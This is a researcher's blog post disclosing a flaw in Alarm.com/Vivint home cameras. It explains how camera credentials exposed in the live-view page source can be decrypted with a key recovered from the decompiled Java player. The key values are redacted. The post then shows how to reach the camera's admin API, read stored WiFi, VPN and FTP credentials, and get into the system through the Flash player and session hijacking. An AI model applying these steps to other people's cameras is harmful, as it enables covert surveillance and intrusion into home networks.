Light Dark
Ahmad Nassri

CTO of npm, Inc. Founder of Tech Masters Community, Member of Node.js Foundation, Advocate of all things Open Source, Startup Advisor, Entrepreneur.

Previously: TELUS, Kong, CBC/Radio-Canada, BlackBerry

Homeblog

Alarm.com Camera Vulnerability

Alarm.com uses a Java web player to live-stream video from your home security cameras to your browser, the Java player source code is easily decompiled and can grant an attacker access to the camera and home network.

I’ve been a user of Vivint for about 4 years. 3 Years ago I discovered a small vulnerability in their camera system and reported it to both Alarm.com and Vivint. The issue still lives on to date, this post will demonstrate how to gain access to your camera’s Web UI and in turn expose some security holes over your home network.

Note: Alarm.com acts as mediator between hardware manufacturers and dealers (such as Vivnt, Frontpoint Security and many others)

TL;DR

Alarm.com uses a Java web player to live-stream video from your home security cameras to your browser, the Java player source code is easily decompiled and can grant an attacker access to the following:

Which, in turn, will gain the attacker the following through the Camera’s own security flaws:

This means:

and more …

Caveats

As with all such vulnerabilities, this doesn’t necessarily mean you’re being watched by an hacker right now! It does however create reasonable risk of an attack vector which is not too complicated, nor too farfetched:

You don’t have to be paranoid to worry about security, it is a reality of the modern age!

Official Response

Upon initial contact, neither company’s representatives were interested in discussing further, and just told me they’d log my report and let the tech team know, so I took to Twitter, and posted in /r/homedefense on reddit, which caught Vivint’s attention.

They immediately contacted me and put me in touch with Vivint’s VP of Innovation, we had a productive conversation and he explained that Vivint’s focus was to move into the Vivint Sky system and away from the Alarm.com system. Fast forward 3 years later, while Vivint has indeed stopped selling the old system to new customers, they are still operating the Alarm.com system for old customers. Myself included.

Some noteworthy events over the past 3 years that relate to this issue:

The Details

Here is are the steps to follow which will give you access to the camera system:

1. Login to your Alarm.com web portal

2. Go to Live Video page https://www.alarm.com/web/Video/LiveView.aspx

3. View the page source: view-source:https://www.alarm.com/web/Video/LiveView.aspx

4. You will find the following <applet> code, repeated for as many cameras you have on the system:

<applet type = "application/x-java-applet"
        class = "live_viewer_object"
        CODE = "VideoViewer.class"
        ARCHIVE = "LiveViewer082.jar"
        NAME = "LiveViewer_ctl00_phBody_ctl08"
        ID = "LiveViewer_ctl00_phBody_ctl08"
        WIDTH = "1280"
        HEIGHT = "800"
        MAYSCRIPT = "true"
        scriptable = "true"
        pluginspage = "http://java.sun.com/products/plugin/index.html#download">
  <param name="permissions" value="all-permissions" />
  <param name = addr value = [redacted]/>
  <param name = alt_addr value = [redacted]/>
  <param name = query value = /nphMotionJpeg?Resolution=1280x800&Quality=5>
  <param name = login value = root>
  <param name = pwd value = [redacted]>
  <param name = mac value = [redacted]>
  <param name = resolution value = 1280x800>
  <param name = make value = Alarm.com>
  <param name = model value = ADC-V620PT>
  <param name = prefer_alt_ip value = true>
  <param name = pantilt value = true>
  <param name = vmd_mode value = false>
  <param name = protected_mode value = false>
  <param name = vpnproxyserver value = https://www.alarm.com/web/>
  <param name = usevpn value = false>
  <param name = SessionId value = [redacted]>
  <param name = border value = false>
  <param name = language value = 1>
  <param name = applet_id value = LiveViewer_ctl00_phBody_ctl08>
  <param name = channel value = 0>
  <param name = in_privacy_mode value = false>
  <param name = deviceId value = 2049>
</APPLET>

5. For each camera listed, copy the values for the following params: (addr, alt_addr, login, pwd, mac) here’s what they mean:

Param Description
addr Public IP and port
alt_addr Local IP and port
login Login/username, always root
pwd Encrypted password
mac MAC address

Decrypting the Password

The video player and the decryption logic are included in LiveViewer082.jar (which you can download without even having to be logged in)

The .jar file can easily be decompiled into human-readable code using JD GUI.

once decompiled, and upon some inspection of the source code, I found the following method under ConnectionThread.class:

private String Deobfuscate(String Pwd)
{
  String key = "[redacted]";
  String unXorBuf = "";
  String unHexBuf = "";
  try
  {
    for (int Ind = 0; Ind < Pwd.length(); Ind++) {
      unXorBuf = unXorBuf + Integer.toHexString(Integer.parseInt(Pwd.substring(Ind, Ind + 1), 16) ^ Integer.parseInt(key.substring(Ind, Ind + 1), 16));
    }
    for (int Ind = 0; Ind < unXorBuf.length(); Ind += 2) {
      unHexBuf = unHexBuf + (char)Integer.parseInt(unXorBuf.substring(Ind, Ind + 2), 16);
    }
    return unHexBuf;
  }
  catch (Exception ex)
  {
    DbgMsg("(e4) " + ex.getMessage());
  }
  return Pwd;
}

Note (1) They key value here is the global Alarm.com Master Key, I have redacted the value so you can get it yourself if you follow the instructions in this post.

Note (2) I am not fully certain this will be the same value for all Alarm.com users, but so far I have verified with another friend who is also a Vivint user and it is indeed the same.

This will allow you to “decrypt” the pwd field from earlier:

<param name = pwd value = [redacted]>

For expediency, here’s a JavaScript version of this function that you can run in your browser right now:

const key = '[redacted]'

function deobfuscate (Pwd) {
  let unXorBuf = ''
  let unHexBuf = ''

  for (let Ind = 0; Ind < Pwd.length; Ind++) {
    unXorBuf = unXorBuf + Number(parseInt(Pwd.substring(Ind, Ind + 1), 16) ^ parseInt(key.substring(Ind, Ind + 1), 16)).toString()
  }
  
  for (let Ind = 0; Ind < unXorBuf.length; Ind += 2) {
    unHexBuf = unHexBuf + String.fromCharCode(parseInt(unXorBuf.substring(Ind, Ind + 2), 16))
  }
  
  return unHexBuf
}

With the username root and password decrypted, you can now access your camera’s web interface and configuration using the IP address and port information obtained earlier:

Vivotek Web UI (The web interface and API are protected with Digest HTTP Authentication)

Vivint started shipping cameras with the web UI stripped out, however this does nothing to remove the admin API, which is documented in detail on your camera’s manual, Here’s an example from the Vivotek PT8133:

Vivotek Admin API

Accessing your Camera

My cameras, and (from what I can tell) all the Alarm.com / Vivint cameras are manifactured by Vivotek

Whether you have access to the web UI, or you go by the HTTP API, you now have access to view the entire system’s parameters stored on the camera, this is where the vulnerability finally takes shape, these parameters include everything from your camera’s settings, to the WiFi network keys and more!

Here are a few highlights that I found to be most interesting (with values redacted):

Your Camera’s Users & Settings

All the camera’s configurations are laid bare, and are easily adjustable with a simple POST request. This includes all the Video Streams, Motion Detection, Recording Schedules, FTP upload targets, even Firmware Updates, which allows an attacker to completely replace your camera’s firmware, leaving both you and Alarm.com none the wiser!

system_hostname='Wireless Mega-Pixel Network Camera'
system_ntp='ntp.alarm.com'
system_dailyreboot='07:00'
system_info_modelname='PT8133W'
system_info_extendedmodelname='ADC-V620PT'
system_info_serialnumber='[redacted]'
system_info_firmwareversion='PT8133-ALAM-0102c1'
security_user_i0_name='root'
security_user_i0_pass='[redacted]'
security_user_i0_privilege='admin'
network_http_alternateport='40926'
network_http_authmode='digest'

An interesting and also scary discovery:

Your camera exposes a live audio stream, one which Alarm.com & Vivint do not offer you access to, but an attacker can listen to everything going on in your home!

network_rtsp_s0_audiotrack='-1'
network_rtsp_s0_multicast_alwaysmulticast='0'
network_rtsp_s0_multicast_videoport='5560'
network_rtsp_s0_multicast_audioport='5562'
network_rtsp_s0_multicast_ipaddress='[redacted]'
network_rtsp_s0_multicast_ttl='15'

Your Home Network

Your WiFi keys are stored in plain text (redacted below)!

network_ieee8021x_enable='0'
network_ieee8021x_eapmethod='eap-peap'
network_ieee8021x_identity_peap=''
network_ieee8021x_identity_tls=''
network_ieee8021x_password=''
network_ieee8021x_privatekeypassword=''
network_ieee8021x_ca_exist='0'
network_ieee8021x_ca_time='0'
network_ieee8021x_ca_size='0'
network_ieee8021x_certificate_exist='0'
network_ieee8021x_certificate_time='0'
network_ieee8021x_certificate_size='0'
network_ieee8021x_privatekey_exist='0'
network_ieee8021x_privatekey_time='0'
network_ieee8021x_privatekey_size='0'
wireless_ssid='[redacted]'
wireless_wlmode='Infra'
wireless_channel='6'
wireless_txrate='0'
wireless_encrypt='3'
wireless_authmode='OPEN'
wireless_keylength='64'
wireless_keyformat='HEX'
wireless_keyselect='1'
wireless_key1='[redacted]'
wireless_key2='[redacted]'
wireless_key3='[redacted]'
wireless_key4='[redacted]'
wireless_domain='0'
wireless_algorithm='AES'
wireless_presharedkey='[redacted]'
wireless_connecttype='manual'

Alarm.com VPN

Dump the certificates and connect to their VPN!

vpn_protocol='udp'
vpn_host='videovpn.alarm.com'
vpn_port='1294'
vpn_devtype='tun'
vpn_encryption='AES-256-CBC'

Alarm.com DDNS Login

I’m sure with enough research some DDNS server vulnerabilities can be discovered here, oh and look they gave us credentials! In plain text!

ddns_Alarm_hostname='www.alarm.com'
ddns_Alarm_usernameemail=''
ddns_Alarm_passwordkey='[redacted]'
ddns_Alarm_servername='deviceapi.alarm.com'
ddns_Alarm_updateinterval='3600'

Alarm.com FTP upload servers

Another potential for researching FTP vulnerabilities, they were kind enough to provide credentials here as well. In plain text!

server_i0_name='alarm_ftp'
server_i0_type='ftp'
server_i0_http_url='http://'
server_i0_http_username=''
server_i0_http_passwd=''
server_i0_ftp_address='[redacted]'
server_i0_ftp_username='[redacted]'
server_i0_ftp_passwd='[redacted]'
server_i0_ftp_port='21' 

Bonus: Flash Player Vulnerability

Since Alarm.com switched to a Flash Player (though keeping the Java Player accessible) they employed a more complex encryption mechanism, one that I enjoyed cracking too!

Here’s the breakdown:

The Flash version of the player is served from: https://www.alarm.com/web/Video/LiveViewFlash.aspx

So what’s behind this mysterious request? lets find out!

1. Just as before, lets grab the video player source code from: https://www.alarm.com/web/Video/AdcSharedUserControls/Video/LocomoteLiveViewer/LocoLivePlayerFlex.swf

2. This time we’ll use JPEXS Free Flash Decompiler

3. Upon inspecting the source, I found the decryption logic under scripts/com/axis/http/url.as

public static function parse_enc(param1:String) : Object
{
    Logger.log("url enc =" + param1,LogEventLevel.DEBUG);
    var _loc2_:CBCMode = new CBCMode(new AESKey(Hex.toArray("[redacted]")),new PKCS5());
    _loc2_.IV = Hex.toArray("[redacted]");
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.writeBytes(Base64.decode(param1));
    _loc2_.decrypt(_loc3_);
    Logger.log("url dec =" + _loc3_.toString(),LogEventLevel.DEBUG);
    return parse(_loc3_.toString());
}

Note: KEY & IV values [redacted].

The encryption method here is more sophisticated than the Java method; it is using AES-128-CBC Cipher Block Chaining (CBC) encryption with the AS3 Crypto Framework. The encrypted JSON response from earlier: {"d": "[encrypted]"} is actually a base64 encoded binary, which given the Encryption Key (key) and Initialization Vector (IV) exposed above, you can decipher easily.

However, this encryption ultimately pointless! Upon decrypting the values, I found it merly exposes the video relay server with a token:

https://relayvideo.alarm.com/ProxyLiveVideoWeb.ashx?token=[redacted]

This is pointless because I can see that in my browser’s web inspector already:

Web Inspector

I’m not sure what their motivation was to encrypt the full URL here with the token, but since both API calls are protected behind HTTPS and web sessions this really does nothing to enhance security.

Flash Relay Server Attack Vector:

In spite of the complex and ultimately pointless encryption, The Flash player method that Alarm.com now uses is much more secure than the prior Java method, though, with the Java player still accessible, the vulnerability remains.

The Flash relay server still exposes a possible attack vector, one that’s “simpler” to pull off than the Java Player method described above.

Mainly relying on Session Hijacking, (which is also a requirement of pulling off the Java attack vector described above) an attacker can simply use the Alarm.com proxies to directly access and control the camera:

// Video Proxy
https://relayvideo.alarm.com/ProxyLiveVideoWeb.ashx

// Command Proxy
https://www.alarm.com/web/Video/ProxyCamControl.ashx

an attacker can access the camera stream, so long as they can fake your session, and they can send a command to the camera using the command proxy, create a new user with admin privileges and skip all the rest of having to decompile Jar files and decrypt passwords!

Though this is untested as I’ve already uncovered enough headaches for one day, lets hope the command proxy actually filters commands before passing them on to the camera!

I described this as “simple” as in needing fewer steps. However, session hijacking is not an easy task to pull and requires more social engineering skills over technical skills to fool the victim into installing / loading the tools a hacker needs to gain access.

Don’t Panic

How to stay safe:

Comments
Contact